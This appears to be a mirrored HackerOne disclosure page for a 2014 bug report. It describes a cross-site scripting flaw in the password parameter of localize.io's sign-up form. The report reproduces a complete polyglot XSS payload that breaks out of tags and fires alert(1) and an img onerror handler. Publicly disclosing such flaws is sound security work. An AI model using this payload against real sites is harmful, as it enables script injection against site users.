HexBrain
Open on HackerOneSign in

Localize · Report #7995

XSS in password

Validstatus
5upvotes
11 May 2014disclosed

How it was found

http://www.localize.io/pages/sign_up XSS in password post parameter. used tags: /*-->]]>%>?></object></script></title></textarea></noscript></style></xmp>'-/"/-alert(1)//><img src=1 onerror=alert(1)>'

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original